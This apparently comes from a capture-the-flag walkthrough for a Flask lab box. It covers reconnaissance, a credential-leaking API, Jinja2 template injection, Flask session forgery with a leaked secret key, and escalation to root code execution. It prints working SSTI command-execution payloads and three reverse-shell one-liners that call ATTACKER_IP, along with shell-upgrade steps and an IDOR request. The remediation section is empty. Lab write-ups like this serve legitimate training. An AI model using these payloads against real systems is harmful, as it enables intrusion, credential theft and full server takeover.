hacksmarter: verbose walkthrough

Objective / Scope

You have been authorized to perform an external penetration test against a target organization. During the initial reconnaissance phase, you identified a web application that allows unrestricted public user registration.

1. Enumerate: Map the application’s attack surface and functionality.
2. Identify: Locate exploitable vulnerabilities within the application logic or configuration.
3. Exploit & Escalate: Leverage identified flaws to compromise the system, with the final goal of securing root access to the host server to demonstrate maximum impact.

Target Information

Executive Summary

Target Information

Phase 1: Reconnaissance

Port Scanning

Initial reconnaissance began with an Nmap scan to identify open services:

nmap -sC -sV -p- --min-rate=5000 -oN scans/nmap-full.txt 10.1.108.155

Results:

1
PORT   STATE SERVICE VERSION
2
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
3
80/tcp open  http    Werkzeug httpd 3.1.5 (Python 3.12.3)

The HTTP service was identified as a Flask/Werkzeug application titled “Hack Smarter Portal” with automatic redirect to /login.

Directory Enumeration

Directory brute-forcing revealed standard web application endpoints:

gobuster dir -u http://10.1.108.155 -w /usr/share/wordlists/dirb/common.txt

Discovered Endpoints:

• /login - Authentication page
• /register - User registration
• /messages - Internal messaging (requires auth)
• /profile - User profile management (requires auth)
• /logout - Session termination

Phase 2: Initial Access - Sensitive Data Exposure

Discovery

After registering an account and logging in, the /messages page was examined. Viewing the page source revealed a critical vulnerability in the JavaScript code:

1
// Vulnerability: Overly Verbose Response / Sensitive Data Exposure
2
// This requests the PATH '/api/users/all'.
3
// The browser receives the full JSON (with passwords), even though we only display names.
4
fetch('/api/users/all')
5
    .then(response => response.json())
6
    .then(data => {
7
        // ... only displays usernames
8
    });

Exploitation

Directly accessing the API endpoint leaked all user credentials:

curl http://10.1.108.155/api/users/all | jq

Phase 3: Server-Side Template Injection (SSTI)

Discovery

The /messages endpoint allowed users to send messages to other users. Testing for SSTI in the message content field:

1
{{7*7}}

Leaking Flask Configuration

The SSTI vulnerability was used to extract sensitive application configuration:

Payload:

1
{{config}}

1
hack-smarter-secret-key-1337

Phase 4: Session Forgery - Admin Access

Flask Session Cookie Structure

Flask session cookies are signed but not encrypted. With the leaked SECRET_KEY, valid admin sessions can be forged.

Decoding an existing session cookie revealed the structure:

1
{"role":"user","session_id":"78c0b838-6ce7-446d-8e7e-733bc308529c","user":"attacker99"}

Forging Admin Session

flask-unsign --sign \
    --cookie '{"role":"admin","session_id":"forged-session","user":"admin"}' \
    --secret 'hack-smarter-secret-key-1337'

User Flag Captured

Replacing the session cookie with the forged admin token granted access to /admin/dashboard, where the user flag was displayed:

User Flag: HSM{REDACTED}

Phase 5: Remote Code Execution

SSTI to RCE Escalation

With confirmed SSTI, the vulnerability was escalated to Remote Code Execution using Jinja2’s access to Python’s object model.

RCE Payload:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

1
uid=0(root) gid=0(root) groups=0(root)

Root Flag Captured

Reading the root flag:

Payload:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /root/root.txt').read()}}

Root Flag: HSM{REDACTED}

Obtaining a Reverse Shell

Instead of executing commands one at a time via SSTI, a full interactive shell can be obtained.

nc -lvnp 4444

1
{{request.application.__globals__.__builtins__.__import__('os').popen('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])\'').read()}}

1
{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}

1
{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f').read()}}

# Spawn a proper TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Background the shell
# Press Ctrl+Z

# Fix terminal settings on your machine
stty raw -echo; fg

# Set terminal type
export TERM=xterm

Additional Vulnerabilities Discovered

1
action=update_email&user_id=3&email=hacker@evil.com

Attack Chain Summary

1
┌─────────────────────────────────────────────────────────────────┐
2
│  1. RECONNAISSANCE                                              │
3
│     └─> Nmap scan reveals Flask/Werkzeug on port 80             │
4
├─────────────────────────────────────────────────────────────────┤
5
│  2. SENSITIVE DATA EXPOSURE                                     │
6
│     └─> /api/users/all leaks all credentials + MFA codes        │
7
├─────────────────────────────────────────────────────────────────┤
8
│  3. SSTI DISCOVERY                                              │
9
│     └─> {{7*7}} in messages renders as 49                       │
10
├─────────────────────────────────────────────────────────────────┤
11
│  4. SECRET KEY EXTRACTION                                       │
12
│     └─> {{config}} leaks Flask SECRET_KEY                       │
13
├─────────────────────────────────────────────────────────────────┤
14
│  5. SESSION FORGERY                                             │
15
│     └─> flask-unsign creates admin session cookie               │
16
│     └─> USER FLAG: HSM{REDACTED}                                │
17
├─────────────────────────────────────────────────────────────────┤
18
│  6. SSTI TO RCE                                                 │
19
│     └─> Jinja2 payload executes as root                         │
20
│     └─> ROOT FLAG: HSM{REDACTED}                                │
21
└─────────────────────────────────────────────────────────────────┘

Remediation Recommendations

Tools Used

• Nmap - Port scanning and service enumeration
• Gobuster - Directory brute-forcing
• curl/Browser DevTools - API testing and request manipulation
• flask-unsign - Flask session cookie signing/forging
• Netcat (nc) - Reverse shell listener

References

• OWASP - Server Side Template Injection
• HackTricks - Jinja2 SSTI
• Flask-Unsign Documentation

Writeup completed: January 22, 2026